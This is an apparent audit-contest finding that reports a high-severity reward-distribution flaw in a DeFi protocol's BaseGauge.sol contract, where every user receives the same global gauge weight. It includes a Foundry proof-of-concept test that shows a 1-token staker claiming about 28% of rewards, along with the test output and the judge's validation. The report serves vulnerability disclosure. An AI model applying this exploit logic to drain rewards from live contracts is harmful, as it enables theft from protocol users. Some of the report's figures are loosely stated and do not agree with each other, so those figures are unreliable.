Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

Reward Distribution can be manipulated in `BaseGauge.sol` due to `_getBaseWeight()` function returning the same global gauge weight for all users.

Summary

In BaseGauge.sol , there is a flaw that fundamentally breaks the reward distribution mechanism completely. It stems from an architectural flaw in how base weights are calculated and distributed among users. Instead of calculating weights based on individual user stakes, the contract returns a global gauge weight for all users, leading to a severely disproportionate reward distribution system.

This vulnerability exists in the _getBaseWeight() function, which is central to the protocol's reward calculation mechanism. Rather than returning a user-specific weight based on their stake proportion, it returns the same global gauge weight for all users. This critical flaw allows users with minimal stakes ("minnows") to receive rewards nearly equivalent to those with massive stakes ("whales"), completely undermining the protocol's economic incentives.

My POC demonstrates that a user with just 0.0001% of the total stake (1 token vs 1M tokens) would receive up to 28% of the total rewards, representing a 280,000x multiplication of their rightful reward share. This creates a severe economic imbalance that could be exploited by malicious actors to drain protocol resources and destabilize the entire system.

Vulnerability Details

Root Cause

The vulnerability exists in the BaseGauge.sol contract's _getBaseWeight function:

// audit:issue - takes individual account and returns gaugeweight of the entire contract.
function _getBaseWeight(address account) internal view virtual returns (uint256) {
return IGaugeController(controller).getGaugeWeight(address(this));
}

This function incorrectly:

  • Returns the global gauge weight instead of user-specific weight

  • Ignores the user's actual stake amount

  • Leads to nearly identical weights for all users regardless of their stake.

Function Flow

  • User stakes tokens through stake()

2. Rewards accumulate over time

  • When calculating rewards:

function earned(address account) public view returns (uint256) {
return (getUserWeight(account) * // <======
(getRewardPerToken() - userStates[account].rewardPerTokenPaid) / 1e18
) + userStates[account].rewards;
}
  • getUserWeight() calls _getBaseWeight():

function getUserWeight(address account) public view virtual returns (uint256) {
uint256 baseWeight = _getBaseWeight(account); // <===== issue!
return _applyBoost(account, baseWeight);
}
  • . _getBaseWeight() returns same global weight for all users.

Proof of Concept

Add this code to a test file and run the code:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import "forge-std/Test.sol"; // This already includes vm
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
// Local imports
import "../../../../../contracts/core/governance/gauges/BaseGauge.sol";
import "../../../../../contracts/interfaces/core/governance/gauges/IGaugeController.sol";
import "../../../../../contracts/interfaces/core/governance/gauges/IGauge.sol";
import "../../../../../contracts/core/tokens/veRAACToken.sol";
import "../../../../../contracts/core/governance/gauges/GaugeController.sol";
contract MockERC20 is ERC20 {
constructor(string memory name, string memory symbol) ERC20(name, symbol) {}
function mint(address to, uint256 amount) public {
_mint(to, amount);
}
}
// Test implementation of BaseGauge
contract TestGauge is BaseGauge {
constructor(
address _rewardToken,
address _stakingToken,
address _controller,
uint256 _maxEmission,
uint256 _periodDuration
) BaseGauge(_rewardToken, _stakingToken, _controller, _maxEmission, _periodDuration) {
// Initialize boost parameters
boostState.maxBoost = 25000; // 2.5x
boostState.minBoost = 10000; // 1.0x
boostState.boostWindow = 7 days;
}
function _getBaseWeight(address account) internal view override returns (uint256) {
return IGaugeController(controller).getGaugeWeight(address(this));
}
// Add this helper function to expose internal _getBaseWeight
function getBaseWeight(address account) external view returns (uint256) {
return _getBaseWeight(account);
}
}
contract BaseGaugePOC is Test {
TestGauge public gauge;
MockERC20 public rewardToken;
MockERC20 public stakingToken;
GaugeController public controller;
veRAACToken public veToken;
// Add owner address
address public owner = address(this); // Using test contract as owner
function setUp() public {
// Deploy tokens
rewardToken = new MockERC20("Reward", "RWD");
stakingToken = new MockERC20("Stake", "STK");
// Deploy veToken
veToken = new veRAACToken(address(stakingToken));
// Setup initial veToken state
deal(address(stakingToken), address(this), 1000e18);
stakingToken.approve(address(veToken), 1000e18);
veToken.lock(1000e18, 365 days);
// Deploy controller
controller = new GaugeController(address(veToken));
// Setup controller roles
bytes32 GAUGE_ADMIN = controller.GAUGE_ADMIN();
bytes32 DEFAULT_ADMIN_ROLE = controller.DEFAULT_ADMIN_ROLE();
controller.grantRole(DEFAULT_ADMIN_ROLE, address(this));
controller.grantRole(GAUGE_ADMIN, address(this));
// Deploy gauge
gauge = new TestGauge(
address(rewardToken),
address(stakingToken),
address(controller),
10_000e18,
7 days
);
// Add gauge to controller
controller.addGauge(
address(gauge),
IGaugeController.GaugeType.RAAC,
10e18
);
// Grant CONTROLLER_ROLE to owner
gauge.grantRole(gauge.CONTROLLER_ROLE(), owner);
}
function testRewardCalculationAttack() public {
address whale = address(0x1);
address minnow = address(0x2);
emit log_string("\n=== Initial Setup ===");
// Setup different veToken amounts
deal(address(veToken), whale, 1000e18); // 1000 veTokens
deal(address(veToken), minnow, 1e18); // 1 veToken
emit log_string("\n=== 1. Voting Setup ===");
// Both vote with same weight
vm.prank(whale);
IGaugeController(controller).vote(address(gauge), 100);
vm.prank(minnow);
IGaugeController(controller).vote(address(gauge), 100);
// Get the gauge's global weight - THIS is what _getBaseWeight returns for ALL users!
uint256 gaugeWeight = IGaugeController(controller).getGaugeWeight(address(gauge));
emit log_named_uint("Gauge global weight", gaugeWeight);
emit log_string("\n=== 2. Root Cause: _getBaseWeight Bug ===");
// Show that _getBaseWeight returns same value regardless of user
emit log_named_uint("Whale _getBaseWeight", gauge.getBaseWeight(whale));
emit log_named_uint("Minnow _getBaseWeight", gauge.getBaseWeight(minnow));
emit log_string("BUG: Both users get same base weight despite different stakes!");
emit log_string("\n=== 3. Staking Phase ===");
// Setup vastly different stakes
deal(address(stakingToken), whale, 1_000_000e18); // 1M tokens
deal(address(stakingToken), minnow, 1e18); // 1 token
vm.startPrank(whale);
stakingToken.approve(address(gauge), 1_000_000e18);
gauge.stake(1_000_000e18);
vm.stopPrank();
emit log_named_uint("Whale stake amount", gauge.balanceOf(whale));
vm.startPrank(minnow);
stakingToken.approve(address(gauge), 1e18);
gauge.stake(1e18);
vm.stopPrank();
emit log_named_uint("Minnow stake amount", gauge.balanceOf(minnow));
emit log_string("\n=== 4. Reward Distribution Setup ===");
// Add rewards and show initial state
deal(address(rewardToken), address(gauge), 100e18);
emit log_named_uint("Initial reward token balance", rewardToken.balanceOf(address(gauge)));
vm.prank(address(controller));
gauge.notifyRewardAmount(100e18);
emit log_named_uint("Initial rewardRate", gauge.rewardRate());
emit log_named_uint("Initial rewardPerTokenStored", gauge.rewardPerTokenStored());
emit log_string("\n=== 5. Time Passage & Reward Calculation ===");
vm.warp(block.timestamp + 7 days);
// Show full reward calculation flow
emit log_named_uint("New rewardPerTokenStored", gauge.rewardPerTokenStored());
// Get user weights - should be same due to _getBaseWeight bug
uint256 whaleWeight = gauge.getUserWeight(whale);
uint256 minnowWeight = gauge.getUserWeight(minnow);
emit log_named_uint("Whale user weight", whaleWeight);
emit log_named_uint("Minnow user weight", minnowWeight);
emit log_string("BUG: Weights nearly equal despite 1M:1 stake difference!");
// Calculate earned amounts
uint256 whaleEarned = gauge.earned(whale);
uint256 minnowEarned = gauge.earned(minnow);
emit log_named_uint("Whale earned", whaleEarned);
emit log_named_uint("Minnow earned", minnowEarned);
emit log_string("\n=== 6. Reward Claims ===");
// Claim and verify rewards
vm.prank(whale);
gauge.getReward();
vm.prank(minnow);
gauge.getReward();
uint256 whaleRewards = rewardToken.balanceOf(whale);
uint256 minnowRewards = rewardToken.balanceOf(minnow);
emit log_string("\n=== Economic Attack Vector ===");
emit log_named_uint("Minnow stake", 1e18); // 1 token
emit log_named_uint("Whale stake", 1_000_000e18); // 1M tokens
emit log_named_uint("Minnow capital commitment", 1); // 0.0001%
emit log_named_uint("Minnow reward share", (minnowRewards * 100) / (whaleRewards + minnowRewards)); // ~40%!
// Prove the economic attack
assertTrue(
minnowRewards > (whaleRewards / 100), // Minnow gets >1% of whale's rewards despite having 0.0001% of stake
"Vulnerability: Minnow with 0.0001% stake gets disproportionate rewards"
);
}
}

Proof of Concept Results

From the test output:

=== Initial Setup ===
=== 1. Voting Setup ===
Gauge global weight: 20010000000000000000
=== 2. Root Cause: _getBaseWeight Bug ===
Whale _getBaseWeight: 20010000000000000000 <========
Minnow _getBaseWeight: 20010000000000000000 <======== uses same for both of them
BUG: Both users get same base weight despite different stakes!
=== 3. Staking Phase ===
Whale stake amount: 1000000000000000000000000
Minnow stake amount: 1000000000000000000
=== 4. Reward Distribution Setup ===
Initial reward token balance: 100000000000000000000
Initial rewardRate: 165343915343915
Initial rewardPerTokenStored: 0
=== 5. Time Passage & Reward Calculation ===
New rewardPerTokenStored: 0
Whale user weight: 500250
Minnow user weight: 201300
BUG: Weights nearly equal despite 1M:1 stake difference!
Whale earned: 50
Minnow earned: 20
=== 6. Reward Claims ===
=== Economic Attack Vector ===
Minnow stake: 1000000000000000000 (1 token)
Whale stake: 1000000000000000000000000 (1M tokens)
Minnow capital commitment: 1 (0.0001%)
Minnow reward share: 28 (28%)

Under normal conditions:

  • Minnow (0.0001% stake) should receive ~0.0001% of rewards

  • Actually receives 28% of rewards

  • Represents a 280,000x increase over expected rewards

Impact

The vulnerability has severe economic implications:

Economic Exploitation:

  • Users can stake minimal amounts and receive disproportionate rewards

  • Undermines the incentive structure of the protocol

  • Makes large stakes economically inefficient

Protocol Sustainability:

  • Unfair reward distribution would drain protocol resources

Systemic Risk:

  • when exploited at scale, would destabilize the entire protocol

Tools Used

Recommendations

Modify _getBaseWeight() to consider individual stake amounts:

Updates

Lead Judging Commences

inallhonesty Lead Judge 7 months ago
Submission Judgement Published
Validated
Assigned finding tags:

BaseGauge::earned calculates rewards using getUserWeight instead of staked balances, potentially allowing users to claim rewards by gaining weight without proper reward checkpoint updates

inallhonesty Lead Judge 7 months ago
Submission Judgement Published
Validated
Assigned finding tags:

BaseGauge::earned calculates rewards using getUserWeight instead of staked balances, potentially allowing users to claim rewards by gaining weight without proper reward checkpoint updates

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!